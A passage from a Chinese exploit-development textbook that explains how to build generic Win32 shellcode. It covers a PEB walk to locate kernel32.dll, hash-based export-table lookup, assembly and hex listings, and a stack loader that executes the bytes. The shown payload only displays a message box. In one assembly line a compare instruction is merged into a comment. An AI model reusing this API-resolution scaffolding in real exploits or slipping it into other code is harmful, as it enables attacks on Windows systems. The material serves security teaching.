0day安全
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

3.4 开发通用的shellcode

3.4.1 定位API的原理

回顾2.4节和3.2节中的shellcode是怎样调用MessagBoxA和ExitProcess函数的。如果您亲手实验了这些步骤,在使用Dependency Walker计算您的计算机中的API入口地址的时候,可能会发现您的地址和本书实验指导中的地址有所差异。原因有几下几点。

(1)不同的操作系统版本:Windows 2000,Windows XP等会影响动态链接库的加载基址。

(2)不同的补丁版本:很多安全补丁会修改这些动态链接库中的函数,使得不同版本补丁对应的动态链接库的内容有所不同,包括动态链接库文件的大小和导出函数的偏移地址。

由于这些因素,我们手工查出的API地址很可能会在其他计算机上失效。在shellcode中使用静态函数地址来调用API会使exploit的通用性受到很大限制。所以,实际中使用的shellcode必须还要能动态地获得自身所需的API函数地址。

Windows的API是通过动态链接库中的导出函数来实现的,例如,内存操作等函数在kernel32.dll中实现;大量的图形界面相关的API则在user32.dll中实现。Win_32平台下的shellcode使用最广泛的方法,就是通过从进程环境块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用。

所有win_32程序都会加载ntdll.dll和kernel32.dll这两个最基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的 API地址,可以采用如下方法。

(1)首先通过段选择字FS在内存中找到当前的线程环境块TEB。

(2)线程环境块偏移位置为0x30的地方存放着指向进程环境块PEB的指针。

(3)进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。

(4)PEB_LDR_DATA结构体偏移位置为0x1C的地方存放着指向模块初始化链表的头指针InInitializationOrderModuleList。

(5)模块初始化链表InInitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,第一个链表结点是ntdll.dll,第二个链表结点就是kernel32.dll。

(6)找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址。

(7)从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。

(8)PE头偏移0x78的地方存放着指向函数导出表的指针。

(9)至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址,如图3.4.1所示。

·导出表偏移0x1C处的指针指向存储导出函数偏移地址(RVA)的列表。

·导出表偏移0x20处的指针指向存储导出函数函数名的列表。

·函数的RVA地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA。

·获得RVA后,再加上前边已经得到的动态链接库的加载基址,就获得了所需API此刻在内存中的虚拟地址,这个地址就是我们最终在shellcode中调用时需要的地址。

按照上面的方法,我们已经可以获得kernel32.dll中的任意函数。类似地,我们已经具备了定位ws2_32.dll中的winsock函数来编写一个能够获得远程shell的真正的shellcode了。

其实,在摸透了kernel32.dll中的所有导出函数之后,结合使用其中的两个函数LoadLibrary()和GetProcAddress(),有时可以让定位所需其他API的工作变得更加容易。

图3.4.1 在shellcode中动态定位API的原理

本节实验将用上述定位API的方法把弹出消息框的shellcode进一步完善,使其能够适应任意win_32平台,不受操作系统版本和补丁版本的限制。

3.4.2 shellcode的加载与调试

shellcode的最常见形式就是用转移字符把机器码存在一个字符数组中,例如,前边我们弹出消息框并能正常退出程序的shellcode就可以存成下述形式。

char box_popup[]=
"\x66\x81\xEC\x40\x04" //  SUB SP,440
"\x33\xDB"  //  XOR EBX,EBX
"\x53"  //  PUSH EBX
"\x68\x77\x65\x73\x74" //  PUSH 74736577
"\x68\x66\x61\x69\x6C" //  PUSH 6C696166
"\x8B\xC4"  //  MOV EAX,ESP
"\x53"  //  PUSH EBX
"\x50"  //  PUSH EAX
"\x50"  //  PUSH EAX
"\x53"  //  PUSH EBX
"\xB8\xEA\x04\xD8\x77" //  MOV EAX,user32.MessageBoxA
"\xFF\xD0"  //  CALL EAX
"\x53"  //  PUSH EBX  ;/ExitCode
"\xB8\xDA\xCD\x81\x7C" //  MOV EAX,kernel32.ExitProcess
"\xFF\xD0";  //  CALL EAX  ;\ExitProcess

如果在互联网上搜集常用的shellcode,一般得到的也是类似的存于字符数组的机器码。我们本节实验中将对上述代码进行完善,加入自动获取API入口地址的功能,最终得到的也是类似这种形式的机器代码。

虽然这种形式的shellcode可以在C语言中轻易地布置进内存的目标区域,但是如果出了问题,往往难于调试。所以,在我们开始着手改造shellcode之前,先看看相关的调试环境。

由于shellcode需要漏洞程序已经初始化好了的进程空间和资源等,故往往不能单独运行。为了能在实际运行中调试这样的机器码,我们可以使用这样一段简单的代码来装载shellcode。

char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……";//欲调试的十六
//进制机器码"
void main()
{
      __asm
      {
                lea eax, shellcode
                push    eax
                ret
      }
}

ret指令会将push进去的shellcode在栈中的起始地址弹给EIP,让处理器跳转到栈区去执行shellcode。我们可以用这段装载程序运行搜集到的shellcode,并调试之。若搜集到的shellcode不能满足需求,也可以在调试的基础上稍作修改,为它增加新功能。

3.4.3 动态定位API地址的shellcode

下面我们将给shellcode加入自动定位API的功能。为了实现弹出消息框并显示“failwest”的功能,需要使用如下API函数。

(1)MessageBoxA 位于user32.dll中,用于弹出消息框。

(2)ExitProcess 位于kernel32.dll中,用于正常退出程序。

(3)LoadLibraryA 位于kernel32.dll中。并不是所有的程序都会装载user32.dll,所以在我们调用MessageBoxA之前,应该先使用LoadLibrary(“user32.dll”)装载其所属的动态链接库。

通过前面介绍的win_32平台下搜索API地址的办法,我们可以从FS所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的API函数是第几个,然后在函数偏移地址(RVA)导出表中找到这个地址。

由于shellcode最终是要放进缓冲区的,为了让shellcode更加通用,能被大多数缓冲区容纳,我们总是希望shellcode尽可能短。因此,在函数名导出表中搜索函数名的时候,一般情况下并不会用“MessageBoxA”这么长的字符串去进行直接比较。

通常情况下,我们会对所需的API函数名进行hash运算,在搜索导出表时对当前遇到的函数名也进行同样的hash,这样只要比较hash所得的摘要(digest)就能判定是不是我们所需的API了。虽然这种搜索方法需要引入额外的hash算法,但是可以节省出存储函数名字符串的代码。

提示:本书中所说的hash指的是hash算法,是一个运算过程。经过hash后得到的值将被称做摘要,即digest,请读者注意这种叙述方式。

本节实验中所用hash函数的C代码如下。

#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
      DWORD digest=0;
      while(*fun_name)
      {
         digest=((digest<<25)|(digest>>7)); //循环右移7位
         digest+= *fun_name ;  //累加
         fun_name++;
      }
      return digest;
}
main()
{
      DWORD hash;
      hash= GetHash("AddAtomA");
      printf("result of hash is %.8x\n",hash);
}

如上述代码,我们将把字符串中的字符逐一取出,把ASCII码从单字节转换成四字节的双字(DWORD),循环右移7位之后再进行累积。

代码中只比较经过hash运算的函数名摘要,也就是说,不论API函数名多么长,我们只需要存一个双字就行。而上述hash算法只需要用ror和add两条指令就能实现。

题外话:在下一节中,我们将讨论怎样精简shellcode的长度,其中会详细讨论按照什么标准来选取hash算法。实际上您会发现hash后的摘要并不一定是一个双字(32bit),精心构造的hash算法可以让一个字节(8bit)的摘要也满足要求。

API函数及hash后的摘要如表3-4-1所示。

表3-4-1 API函数及hash后的摘要

在将hash压入栈中之前,注意先将增量标志DF清零。因为当shellcode是利用异常处理机制而植入的时候,往往会产生标志位的变化,使shellcode中的字串处理方向发生变化而产生错误(如指令LODSD)。如果您在堆溢出利用中发现原本身经百战的shellcode在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加shellcode的通用性。

现在可以将这些hash结果压入栈中,并用一个寄存器标识位置,以备后面搜索API函数时使用。

;store hash
push 0x1e380a6a  ;hash of MessageBoxA
push 0x4fd18963  ;hash of ExitProcess
push 0x0c917432  ;hash of LoadLibraryA
mov esi,esp  ;esi = addr of first function hash
lea edi,[esi-0xc] ;edi = addr to start writing function

然后我们需要抬高栈顶,保护shellcode不被入栈数据破坏。

;make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx

按照图3.4.1所示,定位kernel32.dll的代码如下。

;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30]  ;ebx = address of PEB
mov ecx, [ebx + 0x0c]  ;ecx = pointer to loader data
mov ecx, [ecx + 0x1c]  ;ecx = first entry in initialisation
;order list
mov ecx, [ecx]
;ecx = second entry in list;(kernel32.dll)
mov ebp, [ecx + 0x08]  ;ebp = base address of kernel32.dll

在导入表中搜索API的逻辑可以设计如图3.4.2所示。

图3.4.2 定位API的流程图

最终的代码实现如下。

int main()
{
  _asm{
      CLD  ;clear flag DF
      ;store hash
      push 0x1e380a6a ;hash of MessageBoxA
      push 0x4fd18963 ;hash of ExitProcess
      push 0x0c917432 ;hash of LoadLibraryA
      mov esi,esp ;esi = addr of first function hash
      lea edi,[esi-0xc] ;edi = addr to start writing function
      ;make some stack space
      xor ebx,ebx
      mov bh, 0x04
      sub esp, ebx
      ;push a pointer to "user32" onto stack
      mov bx, 0x3233 ;rest of ebx is null
      push ebx
      push 0x72657375
      push esp
      xor edx,edx
      ;find base addr of kernel32.dll
      mov ebx, fs:[edx + 0x30] ;ebx = address of PEB
      mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
      mov ecx, [ecx + 0x1c] ;ecx = first entry in initialization
      ;order list
      mov ecx, [ecx] ;ecx = second entry in list
      ;(kernel32.dll)
      mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
  find_lib_functions:
      lodsd  ;load next hash into al and increment esi cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger
      ;LoadLibrary("user32")
      jne find_functions
      xchg eax, ebp  ;save current hash
      call [edi - 0x8] ;LoadLibraryA
      xchg eax, ebp  ;restore current hash, and update ebp
      ;with base address of user32.dll
  find_functions:
      pushad  ;preserve registers
      mov eax, [ebp + 0x3c] ;eax = start of PE header
      mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
      add ecx, ebp  ;ecx = absolute addr of export table
      mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
      add ebx, ebp  ;ebx = absolute addr of names table
      xor edi, edi  ;edi will count through the functions
  next_function_loop:
      inc edi  ;increment function counter
      mov esi, [ebx + edi * 4] ;esi = relative offset of current
      ;function name
      add esi, ebp  ;esi = absolute addr of current
      ;function name
      cdq  ;dl will hold hash (we know eax is
      ;small)
  hash_loop:
      movsx eax, byte ptr[esi]
      cmp al,ah
      jz compare_hash
      ror edx,7
      add edx,eax
      inc esi
      jmp hash_loop
  compare_hash:
      cmp edx, [esp + 0x1c] ;compare to the requested hash (saved on;stack from pushad)
      jnz next_function_loop
      mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals
      ;table
      add ebx, ebp  ;ebx = absolute addr of ordinals
      ;table
      mov di, [ebx + 2 * edi] ;di = ordinal number of matched
      ;function
      mov ebx, [ecx + 0x1c] ;ebx = relative offset of address
      ;table
      add ebx, ebp  ;ebx = absolute addr of address table
      add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the
      ;relative offset of matched function
      xchg eax, ebp  ;move func addr into eax
      pop edi  ;edi is last onto stack in pushad
      stosd
      ;write function addr to [edi] and
      ;increment edi
      push edi
      popad  ;restore registers;loop until we reach end of last hash
      cmp eax,0x1e380a6a
      jne find_lib_functions
  function_call:
      xor ebx,ebx
      push ebx ;cut string
      push 0x74736577
      push 0x6C696166 ;push failwest
      mov eax,esp ;load address of failwest
      push ebx
      push eax
      push eax
      push ebx
      call [edi - 0x04]  ;call MessageboxA
      push ebx
      call [edi - 0x08] ;call ExitProcess
      nop
      nop
      nop
      nop
  }
}

上述汇编代码可以用VC 6.0直接编译运行,并生成PE文件。之后可以用OllyDbg或者IDA等反汇编工具从PE文件的代码节中提取出二进制的机器码如下。

提示:之所以在汇编代码的前后都加上一段nop(0x90),是为了在反汇编工具或调试时非常方便地区分出shellcode的代码。

"\x90"//  NOP
"\xFC"//  CLD
"\x68\x6A\x0A\x38\x1E"// PUSH 1E380A6A
"\x68\x63\x89\xD1\x4F"// PUSH 4FD18963
"\x68\x32\x74\x91\x0C"// PUSH 0C917432
"\x8B\xF4"//  MOV ESI,ESP
"\x8D\x7E\xF4"// LEA EDI,DWORD PTR DS:[ESI-C]
"\x33\xDB"//  XOR EBX,EBX
"\xB7\x04"//  MOV BH,4
"\x2B\xE3"//  SUB ESP,EBX
"\x66\xBB\x33\x32"// MOV BX,3233
"\x53"//  PUSH EBX
"\x68\x75\x73\x65\x72"// PUSH 72657375
"\x54"//  PUSH ESP
"\x33\xD2"//  XOR EDX,EDX
"\x64\x8B\x5A\x30"// MOV EBX,DWORD PTR FS:[EDX+30]
"\x8B\x4B\x0C"// MOV ECX,DWORD PTR DS:[EBX+C]
"\x8B\x49\x1C"// MOV ECX,DWORD PTR DS:[ECX+1C]
"\x8B\x09"//  MOV ECX,DWORD PTR DS:[ECX]
"\x8B\x69\x08"// MOV EBP,DWORD PTR DS:[ECX+8]
"\xAD"//  LODS DWORD PTR DS:[ESI]
"\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A
"\x75\x05"//  JNZ SHORT popup_co.00401070
"\x95"//  XCHG EAX,EBP
"\xFF\x57\xF8"// CALL DWORD PTR DS:[EDI-8]
"\x95"//  XCHG EAX,EBP
"\x60"//  PUSHAD
"\x8B\x45\x3C"// MOV EAX,DWORD PTR SS:[EBP+3C]
"\x8B\x4C\x05\x78"// MOV ECX,DWORD PTR SS:[EBP+EAX+78]
"\x03\xCD"//  ADD ECX,EBP
"\x8B\x59\x20"// MOV EBX,DWORD PTR DS:[ECX+20]
"\x03\xDD"//  ADD EBX,EBP
"\x33\xFF"//  XOR EDI,EDI
"\x47"//  INC EDI
"\x8B\x34\xBB"// MOV ESI,DWORD PTR DS:[EBX+EDI*4]
"\x03\xF5"//  ADD ESI,EBP
"\x99"//  CDQ
"\x0F\xBE\x06"// MOVSX EAX,BYTE PTR DS:[ESI]
"\x3A\xC4"//  CMP AL,AH
"\x74\x08"//  JE SHORT popup_co.00401097
"\xC1\xCA\x07"// ROR EDX,7
"\x03\xD0"//  ADD EDX,EAX
"\x46"//  INC ESI
"\xEB\xF1"//  JMP SHORT popup_co.00401088
"\x3B\x54\x24\x1C"// CMP EDX,DWORD PTR SS:[ESP+1C]
"\x75\xE4"//  JNZ SHORT popup_co.00401081
"\x8B\x59\x24"// MOV EBX,DWORD PTR DS:[ECX+24]
"\x03\xDD"//  ADD EBX,EBP
"\x66\x8B\x3C\x7B"// MOV DI,WORD PTR DS:[EBX+EDI*2]
"\x8B\x59\x1C"// MOV EBX,DWORD PTR DS:[ECX+1C]
"\x03\xDD"//  ADD EBX,EBP
"\x03\x2C\xBB"// ADD EBP,DWORD PTR DS:[EBX+EDI*4]
"\x95"//  XCHG EAX,EBP
"\x5F"//  POP EDI
"\xAB"//  STOS DWORD PTR ES:[EDI]
"\x57"//  PUSH EDI
"\x61"//  POPAD
"\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A
"\x75\xA9"//  JNZ SHORT popup_co.00401063
"\x33\xDB"//  XOR EBX,EBX
"\x53"//  PUSH EBX
"\x68\x77\x65\x73\x74"// PUSH 74736577
"\x68\x66\x61\x69\x6C"// PUSH 6C696166
"\x8B\xC4"//  MOV EAX,ESP
"\x53"//  PUSH EBX
"\x50"//  PUSH EAX
"\x50"//  PUSH EAX
"\x53"//  PUSH EBX
"\xFF\x57\xFC"// CALL DWORD PTR DS:[EDI-4]
"\x53"//  PUSH EBX
"\xFF\x57\xF8";// CALL DWORD PTR DS:[EDI-8]

上述这种保存在字符数组中的shellcode已经可以轻易地在exploit程序中使用了,也可以用前边的shellcode装载程序单独加载运行。

char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
void main()
{
     __asm
     {
        lea eax, popup_general
        push eax
        ret
   }
   }

这样,一段考虑了跨平台、健壮性、稳定性、通用性等各方面因素的高质量shellcode就生成了。本书后面章节将在实验中反复使用这段shellcode。经过反复的实验,这段shellcode在各种溢出利用场景下都表现出色。

通过本节的介绍,可以看出即使是经验丰富的汇编程序员,想要写出高质量的shellcode也得着实花一翻工夫。事实上,若非真的有特殊需要,即使是经验丰富的hacker也不会总是自己编写shellcode。大多数情况下,从Internet上可以得到许多经典的shellcode。另外MetaSploit通用漏洞测试架构3.0下的payload库中,目前已经包含了包括绑定端口、网马downloader、远程shell、任意命令执行等在内的104种不同功能的经典shellcode。通过简单的参数配置,可以轻易导出C语言格式、Perl语言格式、ruby语言格式、原始十六进制格式等形式的shellcode。我们会在后面章节中专门介绍MataSploit的使用和开发。